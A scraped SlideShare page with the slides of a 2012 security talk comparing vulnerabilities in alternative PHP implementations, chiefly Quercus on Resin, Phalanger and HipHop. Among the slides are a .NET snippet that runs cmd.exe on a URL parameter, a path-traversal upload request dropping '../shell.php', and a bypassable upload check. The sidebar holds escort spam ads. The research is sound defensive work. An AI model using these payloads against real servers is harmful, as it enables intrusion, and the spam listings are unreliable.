SOC для КИИ: израильский опытSOC для КИИ: израильский опыт
SOC для КИИ: израильский опыт
 
Honeywell Industrial Cyber Security Lab & Services Center
Honeywell Industrial Cyber Security Lab & Services CenterHoneywell Industrial Cyber Security Lab & Services Center
Honeywell Industrial Cyber Security Lab & Services Center
 
Credential stuffing и брутфорс-атаки
Credential stuffing и брутфорс-атакиCredential stuffing и брутфорс-атаки
Credential stuffing и брутфорс-атаки
 

Dernier

CNv6 Instructor Chapter 6 Quality of Service
CNv6 Instructor Chapter 6 Quality of ServiceCNv6 Instructor Chapter 6 Quality of Service
CNv6 Instructor Chapter 6 Quality of Servicegiselly40
 
From Event to Action: Accelerate Your Decision Making with Real-Time Automation
From Event to Action: Accelerate Your Decision Making with Real-Time AutomationFrom Event to Action: Accelerate Your Decision Making with Real-Time Automation
From Event to Action: Accelerate Your Decision Making with Real-Time AutomationSafe Software
 
Transforming Data Streams with Kafka Connect: An Introduction to Single Messa...
Transforming Data Streams with Kafka Connect: An Introduction to Single Messa...Transforming Data Streams with Kafka Connect: An Introduction to Single Messa...
Transforming Data Streams with Kafka Connect: An Introduction to Single Messa...HostedbyConfluent
 
The Codex of Business Writing Software for Real-World Solutions 2.pptx
The Codex of Business Writing Software for Real-World Solutions 2.pptxThe Codex of Business Writing Software for Real-World Solutions 2.pptx
The Codex of Business Writing Software for Real-World Solutions 2.pptxMalak Abu Hammad
 
Enhancing Worker Digital Experience: A Hands-on Workshop for Partners
Enhancing Worker Digital Experience: A Hands-on Workshop for PartnersEnhancing Worker Digital Experience: A Hands-on Workshop for Partners
Enhancing Worker Digital Experience: A Hands-on Workshop for PartnersThousandEyes
 
Mastering MySQL Database Architecture: Deep Dive into MySQL Shell and MySQL R...
Mastering MySQL Database Architecture: Deep Dive into MySQL Shell and MySQL R...Mastering MySQL Database Architecture: Deep Dive into MySQL Shell and MySQL R...
Mastering MySQL Database Architecture: Deep Dive into MySQL Shell and MySQL R...Miguel Araújo
 
Tech-Forward - Achieving Business Readiness For Copilot in Microsoft 365
Tech-Forward - Achieving Business Readiness For Copilot in Microsoft 365Tech-Forward - Achieving Business Readiness For Copilot in Microsoft 365
Tech-Forward - Achieving Business Readiness For Copilot in Microsoft 3652toLead Limited
 
Swan(sea) Song – personal research during my six years at Swansea ... and bey...
Swan(sea) Song – personal research during my six years at Swansea ... and bey...Swan(sea) Song – personal research during my six years at Swansea ... and bey...
Swan(sea) Song – personal research during my six years at Swansea ... and bey...Alan Dix
 
08448380779 Call Girls In Diplomatic Enclave Women Seeking Men
08448380779 Call Girls In Diplomatic Enclave Women Seeking Men08448380779 Call Girls In Diplomatic Enclave Women Seeking Men
08448380779 Call Girls In Diplomatic Enclave Women Seeking MenDelhi Call girls
 
Automating Business Process via MuleSoft Composer | Bangalore MuleSoft Meetup...
Automating Business Process via MuleSoft Composer | Bangalore MuleSoft Meetup...Automating Business Process via MuleSoft Composer | Bangalore MuleSoft Meetup...
Automating Business Process via MuleSoft Composer | Bangalore MuleSoft Meetup...shyamraj55
 
Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...
Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...
Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...Drew Madelung
 
04-2024-HHUG-Sales-and-Marketing-Alignment.pptx
04-2024-HHUG-Sales-and-Marketing-Alignment.pptx04-2024-HHUG-Sales-and-Marketing-Alignment.pptx
04-2024-HHUG-Sales-and-Marketing-Alignment.pptxHampshireHUG
 
Transcript: #StandardsGoals for 2024: What’s new for BISAC - Tech Forum 2024
Transcript: #StandardsGoals for 2024: What’s new for BISAC - Tech Forum 2024Transcript: #StandardsGoals for 2024: What’s new for BISAC - Tech Forum 2024
Transcript: #StandardsGoals for 2024: What’s new for BISAC - Tech Forum 2024BookNet Canada
 
The Role of Taxonomy and Ontology in Semantic Layers - Heather Hedden.pdf
The Role of Taxonomy and Ontology in Semantic Layers - Heather Hedden.pdfThe Role of Taxonomy and Ontology in Semantic Layers - Heather Hedden.pdf
The Role of Taxonomy and Ontology in Semantic Layers - Heather Hedden.pdfEnterprise Knowledge
 
FULL ENJOY 🔝 8264348440 🔝 Call Girls in Diplomatic Enclave | Delhi
FULL ENJOY 🔝 8264348440 🔝 Call Girls in Diplomatic Enclave | DelhiFULL ENJOY 🔝 8264348440 🔝 Call Girls in Diplomatic Enclave | Delhi
FULL ENJOY 🔝 8264348440 🔝 Call Girls in Diplomatic Enclave | Delhisoniya singh
 
WhatsApp 9892124323 ✓Call Girls In Kalyan ( Mumbai ) secure service
WhatsApp 9892124323 ✓Call Girls In Kalyan ( Mumbai ) secure serviceWhatsApp 9892124323 ✓Call Girls In Kalyan ( Mumbai ) secure service
WhatsApp 9892124323 ✓Call Girls In Kalyan ( Mumbai ) secure servicePooja Nehwal
 
08448380779 Call Girls In Civil Lines Women Seeking Men
08448380779 Call Girls In Civil Lines Women Seeking Men08448380779 Call Girls In Civil Lines Women Seeking Men
08448380779 Call Girls In Civil Lines Women Seeking MenDelhi Call girls
 
IAC 2024 - IA Fast Track to Search Focused AI Solutions
IAC 2024 - IA Fast Track to Search Focused AI SolutionsIAC 2024 - IA Fast Track to Search Focused AI Solutions
IAC 2024 - IA Fast Track to Search Focused AI SolutionsEnterprise Knowledge
 
Finology Group – Insurtech Innovation Award 2024
Finology Group – Insurtech Innovation Award 2024Finology Group – Insurtech Innovation Award 2024
Finology Group – Insurtech Innovation Award 2024The Digital Insurer
 
The 7 Things I Know About Cyber Security After 25 Years | April 2024
The 7 Things I Know About Cyber Security After 25 Years | April 2024The 7 Things I Know About Cyber Security After 25 Years | April 2024
The 7 Things I Know About Cyber Security After 25 Years | April 2024Rafal Los
 

Dernier (20)

CNv6 Instructor Chapter 6 Quality of Service
CNv6 Instructor Chapter 6 Quality of ServiceCNv6 Instructor Chapter 6 Quality of Service
CNv6 Instructor Chapter 6 Quality of Service
 
From Event to Action: Accelerate Your Decision Making with Real-Time Automation
From Event to Action: Accelerate Your Decision Making with Real-Time AutomationFrom Event to Action: Accelerate Your Decision Making with Real-Time Automation
From Event to Action: Accelerate Your Decision Making with Real-Time Automation
 
Transforming Data Streams with Kafka Connect: An Introduction to Single Messa...
Transforming Data Streams with Kafka Connect: An Introduction to Single Messa...Transforming Data Streams with Kafka Connect: An Introduction to Single Messa...
Transforming Data Streams with Kafka Connect: An Introduction to Single Messa...
 
The Codex of Business Writing Software for Real-World Solutions 2.pptx
The Codex of Business Writing Software for Real-World Solutions 2.pptxThe Codex of Business Writing Software for Real-World Solutions 2.pptx
The Codex of Business Writing Software for Real-World Solutions 2.pptx
 
Enhancing Worker Digital Experience: A Hands-on Workshop for Partners
Enhancing Worker Digital Experience: A Hands-on Workshop for PartnersEnhancing Worker Digital Experience: A Hands-on Workshop for Partners
Enhancing Worker Digital Experience: A Hands-on Workshop for Partners
 
Mastering MySQL Database Architecture: Deep Dive into MySQL Shell and MySQL R...
Mastering MySQL Database Architecture: Deep Dive into MySQL Shell and MySQL R...Mastering MySQL Database Architecture: Deep Dive into MySQL Shell and MySQL R...
Mastering MySQL Database Architecture: Deep Dive into MySQL Shell and MySQL R...
 
Tech-Forward - Achieving Business Readiness For Copilot in Microsoft 365
Tech-Forward - Achieving Business Readiness For Copilot in Microsoft 365Tech-Forward - Achieving Business Readiness For Copilot in Microsoft 365
Tech-Forward - Achieving Business Readiness For Copilot in Microsoft 365
 
Swan(sea) Song – personal research during my six years at Swansea ... and bey...
Swan(sea) Song – personal research during my six years at Swansea ... and bey...Swan(sea) Song – personal research during my six years at Swansea ... and bey...
Swan(sea) Song – personal research during my six years at Swansea ... and bey...
 
08448380779 Call Girls In Diplomatic Enclave Women Seeking Men
08448380779 Call Girls In Diplomatic Enclave Women Seeking Men08448380779 Call Girls In Diplomatic Enclave Women Seeking Men
08448380779 Call Girls In Diplomatic Enclave Women Seeking Men
 
Automating Business Process via MuleSoft Composer | Bangalore MuleSoft Meetup...
Automating Business Process via MuleSoft Composer | Bangalore MuleSoft Meetup...Automating Business Process via MuleSoft Composer | Bangalore MuleSoft Meetup...
Automating Business Process via MuleSoft Composer | Bangalore MuleSoft Meetup...
 
Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...
Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...
Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...
 
04-2024-HHUG-Sales-and-Marketing-Alignment.pptx
04-2024-HHUG-Sales-and-Marketing-Alignment.pptx04-2024-HHUG-Sales-and-Marketing-Alignment.pptx
04-2024-HHUG-Sales-and-Marketing-Alignment.pptx
 
Transcript: #StandardsGoals for 2024: What’s new for BISAC - Tech Forum 2024
Transcript: #StandardsGoals for 2024: What’s new for BISAC - Tech Forum 2024Transcript: #StandardsGoals for 2024: What’s new for BISAC - Tech Forum 2024
Transcript: #StandardsGoals for 2024: What’s new for BISAC - Tech Forum 2024
 
The Role of Taxonomy and Ontology in Semantic Layers - Heather Hedden.pdf
The Role of Taxonomy and Ontology in Semantic Layers - Heather Hedden.pdfThe Role of Taxonomy and Ontology in Semantic Layers - Heather Hedden.pdf
The Role of Taxonomy and Ontology in Semantic Layers - Heather Hedden.pdf
 
FULL ENJOY 🔝 8264348440 🔝 Call Girls in Diplomatic Enclave | Delhi
FULL ENJOY 🔝 8264348440 🔝 Call Girls in Diplomatic Enclave | DelhiFULL ENJOY 🔝 8264348440 🔝 Call Girls in Diplomatic Enclave | Delhi
FULL ENJOY 🔝 8264348440 🔝 Call Girls in Diplomatic Enclave | Delhi
 
WhatsApp 9892124323 ✓Call Girls In Kalyan ( Mumbai ) secure service
WhatsApp 9892124323 ✓Call Girls In Kalyan ( Mumbai ) secure serviceWhatsApp 9892124323 ✓Call Girls In Kalyan ( Mumbai ) secure service
WhatsApp 9892124323 ✓Call Girls In Kalyan ( Mumbai ) secure service
 
08448380779 Call Girls In Civil Lines Women Seeking Men
08448380779 Call Girls In Civil Lines Women Seeking Men08448380779 Call Girls In Civil Lines Women Seeking Men
08448380779 Call Girls In Civil Lines Women Seeking Men
 
IAC 2024 - IA Fast Track to Search Focused AI Solutions
IAC 2024 - IA Fast Track to Search Focused AI SolutionsIAC 2024 - IA Fast Track to Search Focused AI Solutions
IAC 2024 - IA Fast Track to Search Focused AI Solutions
 
Finology Group – Insurtech Innovation Award 2024
Finology Group – Insurtech Innovation Award 2024Finology Group – Insurtech Innovation Award 2024
Finology Group – Insurtech Innovation Award 2024
 
The 7 Things I Know About Cyber Security After 25 Years | April 2024
The 7 Things I Know About Cyber Security After 25 Years | April 2024The 7 Things I Know About Cyber Security After 25 Years | April 2024
The 7 Things I Know About Cyber Security After 25 Years | April 2024
 

Not All PHP Implementations Are Equally Useful

  • 1. Not all PHP implementations are equally useful Sergey Scherbel Positive Technologies May 2012
  • 2. Intro: PHP A few words about PHP: one of the most popular script languages is quickly improved has an adaptable syntax there are a number of various CMS and CMF on PHP At the same time: efficiency of PHP interpreter is not high But efficiency is critical for a great number of projects...
  • 3. Intro: PHP But you can create your own PHP! 
  • 4. Alternative PHP implementations There are several alternative PHP implementations. As a rule, these implementations compile PHP scripts into a machine-code form. Lets consider the following implementations: Roadsend PHP (PHP -> C -> machine code) Phalanger (PHP -> Microsoft IL) Quercus on Resin (PHP -> JVM) PHC (PHP -> C -> machine code) HipHop (PHP -> C++ -> machine code)
  • 5. Roadsend PHP Roadsend PHP compiler allows you to create executable files. It also includes embedded MicroServer web server. Variants of run: the executable + web server + FastCGI = web application the executable + MicroServer = web application
  • 6. Phalanger Phalanger is a PHP compiler for .NET. supports full compatibility with .NET is compatible with a great number of PHP applications allows users to address .NET classes
  • 7. Quercus on Resin Resin is a web server and Java application server designed by Caucho Technology. The web server includes a special PHP implementation named Quercus. The web server is released in 2 versions: Professional: PHP is compiled into Java byte code Open Source: PHP is executed by the interpreter
  • 8. HipHop HipHop is a source code translator designed by Facebook. Features: PHP is translated into a temporary C++ code The temporary code is compiled via g++ The result includes the web server ./program -m server --port 8080 There is also HPHPi that is a PHP interpreter that allows script execution without compilation.
  • 9. HipHop Files that are the result of compilation So, the size of an elementary PHP script after compilation is ~ 30 MB!
  • 10. HipHop You can eliminate several types of vulnerabilities in case an application is compiled but not interpret! Local File Inclusion: There is no way to connect arbitrary files You can connect only the scripts that were included while compilation Arbitrary File Loading: PHP script loading does not result in desired effect – the script may not be run Possible exploitation – load a HTML page and then attack clients
  • 11. What are the key items? Environment vulnerabilities (embedded web server, etc.) Parameter Handling HTTP Parameter Pollution HTTP Parameter Contamination Cross-technology vulnerabilities (PHP + .NET = ???) Vulnerabilities in PHP old versions (a legendary ones )
  • 13. Roadsend PHP MicroServer: Path Traversal Embedded web server incorrectly handles file names.
  • 14. Roadsend PHP MicroServer: Path Traversal This is also possible 
  • 16. HTTP Parameter Contamination Various platforms and applications handle incorrect characters in parameters in different ways. The attack is used to bypass various filters (WAF). We compare: usual LAMP (a master platform) Win7 + IIS 7.5 + Phalanger 3.0 Linux + HipHop Linux + Quercus on Resin (different versions)
  • 17. HTTP Parameter Contamination We immediately find differences with LAMP platform! Quercus on Resin Quercus on Resin Request LAMP 3.1.12 4.0.26 Array Array Array ( ( ( test.php?a&b=1 [a] => [a] => [a&b] => 1 [b] => 1 [b] => 1 ) ) ) Array Array Array ( ( ( test.php?a=1&b [a] => 1 [a] => 1 [a] => 1 [b] => [b] => [b] => ) ) )
  • 18. HTTP Parameter Contamination Quercus on IIS 7.5 + Request LAMP HipHop Resin <= Phalanger 3.0 4.0.26 Array Array Array Array ( ( test.php?= ( ( [] => [] => ) ) ) ) Array Array Array Array ( ( test.php?[]= ( ( [[]] => [0] => ) ) ) ) Array Array ( ( [a] => Array [a] => Array test.php?a[][= ( Error 500 ( Error 500 [0] => [0] => ) ) ) )
  • 19. HTTP Parameter Contamination Error 500 in IIS 7.5 + Phalanger 3.0
  • 20. HTTP Parameter Contamination Error 500 in Quercus on Resin
  • 21. HTTP Parameter Contamination IIS 7.5 + Quercus on Query LAMP HipHop Phalanger 3.0 Resin 4.0.26 Array Array Array Array ( ( ( ( test.php?a%=1 [a%] => 1 [a%] => 1 [a%] => 1 [a�] => ) ) ) ) Array Array Array Array ( ( ( ( test.php?a =1 [a_] => 1 [a ] => 1 [a_] => 1 [a ] => 1 ) ) ) ) Array Array Array Array ( ( ( ( test.php?a.=1 [a_] => 1 [a_] => 1 [a_] => 1 [a_] => 1 ) ) ) ) Array Array Array Array ( ( ( ( test.php?a%00b=1 [a] => 1 [a�b] => 1 [a] => 1 [a�b] => 1 ) ) ) ) Only HipHop results coincide with the master platform.
  • 22. Special practices for OS Windows File functions in Phalanger incorrectly handle characters reserved for OS («:» + another special character, i.e.: «|»).
  • 23. Global variables The possibility to set variable values directly is a flaw in web application security. <?php include($path. ".inc"); ?> You can call the script directly and define an arbitrary value that results in code execution (RFI, LFI). register_globals option is responsible for a possibility to set variable values directly PHP 5.4.0 does not include register_globals option.
  • 24. Global variables <= Quercus on Resin 4.0.26 Quercus does not include register_globals option (developers name it a ‘black hole’ in security), an error occurs in case you try to set it. In case parameters are sent via POST method, they become global!
  • 25. Global variables <= Quercus on Resin 4.0.26
  • 26. Rewriting of variables <= Quercus on Resin 4.0.26 Parameters sent in POST method, are handled incorrectly – it is possible to rewrite variables in _SERVER array!
  • 27. Rewriting of variables <= Quercus on Resin 4.0.26 Attack vector is rewriting of _SERVER array elements that include the script absolute path. As a rule, _SERVER array elements are used in script connection and file system functions. Rewriting of variables allows an attacker to conduct a number of attacks, i.e. Local File Inclusion. <?php include($_SERVER["DOCUMENT_ROOT"]."header.php"); ?>
  • 28. Rewriting of variables <= Quercus on Resin 4.0.26 Rewriting of variables allows you to set an arbitrary value for $_SERVER["DOCUMENT_ROOT"].
  • 29. Loose comparison of variables of various types Loose comparison is a comparison with == Loose comparison of parameters in PHP is implemented with several features:
  • 30. Loose comparison of variables of various types A great number of PHP applications consider these features. In case the behavior changes, results are not predictable… We monitor if the features are actual… and find some curious things 
  • 31. Loose comparison of variables of various types Script #1: <?php $xArray = array(TRUE, FALSE, 1, 0, -1, "1", "0", "-1", NULL, array(), "php", ""); foreach($xArray as $x) { if($x == array()) { echo("TRUE"); } else { echo("FALSE"); } echo("<br>"); } ?> Script #2: <?php $xArray = array(TRUE, FALSE, 1, 0, -1, "1", "0", "-1", NULL, array(), "php", ""); foreach($xArray as $x) { if(array() == $x) { echo("TRUE"); } else { echo("FALSE"); } echo("<br>"); } ?>
  • 32. == equals | Quercus on Resin Script #1 (resin 3.1.12) Script #1 (resin 4.0.26) Script #2 TRUE FALSE FALSE TRUE FALSE TRUE TRUE TRUE 1 FALSE TRUE TRUE 0 TRUE TRUE TRUE -1 FALSE TRUE TRUE "1" FALSE FALSE TRUE "0" FALSE FALSE TRUE "-1" FALSE FALSE TRUE NULL TRUE TRUE TRUE array() TRUE TRUE TRUE "php" FALSE FLASE TRUE "" FALSE FLASE TRUE It is clear that the result of comparison depends on the sequence of compared variables. This behavior is not usual for an ordinary PHP interpreter. Also, the result of all comparisons of array() and 0 is true (TRUE), this is not usual for an ordinary PHP interpreter.
  • 33. == equals | Quercus on Resin Then, we carried out the detailed analysis of loose comparisons for arrays with variables of different types: <?php $test = … $xArray = array(TRUE, FALSE, 1, 0, -1, "1", "0", "-1", NULL, array(), "php", ""); foreach($xArray as $x) { if($test == $x) { echo("TRUE"); } else { echo("FALSE"); } echo("<br>"); } ?> In case an empty array is sent: http://192.168.67.139:8080/test.php?test[]= , its type is defined as array(1) { [0]=> string(0) "" } – and this is a usual behavior for PHP. The comparison results for this type of parameters with parameters of other types are the most interesting.
  • 34. == equals | Quercus on Resin $test = array() $test = array(0 => "") $x = TRUE TRUE TRUE $x = FALSE TRUE TRUE $x = 1 TRUE TRUE $x = 0 TRUE TRUE $x = -1 TRUE TRUE $x = "1" TRUE FALSE $x = "0" TRUE FALSE $x = "-1" TRUE FALSE $x = NULL TRUE TRUE $x = array() TRUE TRUE $x = "php" TRUE FALSE $x = "" TRUE TRUE The results greatly differ from the expected ones. Script behavior is not predictable, a number of vulnerabilities can occur!
  • 36. open_basedir/safe mode bypass | Phalanger 3.0 Phalanger allows you to access .NET classes, that can lead to security restriction bypass. Defined security restrictions (i.e., disable_functions) are usually not considered in .NET constructions: <?php $process = new DiagnosticsProcess(); $process->StartInfo->FileName = "cmd.exe"; $process->StartInfo->WorkingDirectory = "C:"; $process->StartInfo->Arguments = "/c ".$_GET["cmd"]; $process->Start(); $process->WaitForExit(); ?>
  • 37. Vulnerabilities in PHP old versions Legendary vulnerabilities...
  • 38. XSS in Error Message | Quercus on Resin | Roadsend Special characters are not replaced by HTML equivalents in error messages that means the an error message is an XSS.
  • 39. File Loading: Path Traversal | Quercus on Resin 3.1.12 There is possible exploitation of Path Traversal because of incorrect handling of loaded file name. Example of HTTP query: POST http://192.168.67.139:8080/test/file.php HTTP/1.1 … Content-Type: multipart/form-data; boundary=---------------------------101412320927450 Content-Length: 228 -----------------------------101412320927450rn Content-Disposition: form-data; name="test"; filename="../shell.php"rn Content-Type: application/octet-streamrn rn <?phprn phpinfo();rn ?>rn -----------------------------101412320927450--rn
  • 40. File Loading: Null Byte | Quercus on Resin Incorrect file name handling that is loaded on the server an attacker can discard postfixes (i.e., .jpg) with NULL byte.
  • 41. File Loading: Null Byte | Quercus on Resin As a result, Extension Checks Bypass is possible. <?php if(isset($_FILES["image"])) { if(!preg_match("#.(jpg|png|gif)$#", $_FILES["image"]["name"])) { die("Hacking attempt!");} copy($_FILES["image"]["tmp_name"], "./uploads/".$_FILES["image"]["name"] ); } ?>
  • 42. Results All third-party implementations are more efficient, have more features, but the back side is security. Environmental vulnerabilities HTTP Parameter Contamination Path Traversal logic violations etc The most vulnerable implementation is Quercus on Resin. The most secure implementation is HipHop. Its results not only coincide with the master platform but even exceed standard PHP implementation.
  • 43. Thank you for your attention! Questions?